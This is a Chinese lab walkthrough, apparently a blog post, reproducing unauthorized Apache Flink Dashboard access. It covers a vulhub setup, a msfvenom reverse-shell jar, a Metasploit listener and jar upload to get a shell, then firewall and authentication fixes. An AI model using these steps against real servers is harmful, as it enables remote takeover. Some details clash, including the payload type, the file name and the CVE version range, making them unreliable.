Apache Flink漏洞复现(未授权访问&上传jar包getshell)

Apache Flink漏洞复现(未授权访问&上传jar包getshell)

一、Flink简介

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

二、漏洞介绍

​ Apache Flink Dashboard默认没有用户权限认证

​ 攻击者可以通过未授权的Flink Dashboard控制台

​ 直接上传木马jar包

​ 可远程执行任意系统命令获取服务器权限

三、影响范围

​ Apache Flink <= 1.9.1

四、环境搭建

使用vulhub进行安装

​ Vulhub地址:

​ https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

进入目录

cd vulhub-master/flink/CVE-2020-17518

安装环境

docker-compose up -d

五、漏洞检测

1、访问ip:8081

Apache Flink漏洞复现(未授权访问&上传jar包getshell)_第1张图片
2、利用msfovenom生成rce.jar

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.0.131 LPORT=4444 -f jar > rce.jar

3、配置msf监听

use exploit/multi/handler 
set payload java/shell/reverse_tcp 
set LHOST 192.168.0.131
set LPORT 4444 
show options 
run

4、在Submit New Job处上传rec.jar文件,点击submit
Apache Flink漏洞复现(未授权访问&上传jar包getshell)_第2张图片

5.成功getshell

Apache Flink漏洞复现(未授权访问&上传jar包getshell)_第3张图片

六、修复建议

针对Apache Flink Dashboard 设置防火墙策略

禁止Dashboard对外访问或确保只对可信端点开放

仅允许白名单IP进行访问

并在Web代理中增加对该服务的Digest认证

防止未授权访问

关于认证设置可参考链接:

https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html

参考文章:

https://mp.weixin.qq.com/s/ASRGJJmxpMgNmFoSZoWhfQ

你可能感兴趣的:(flink,docker)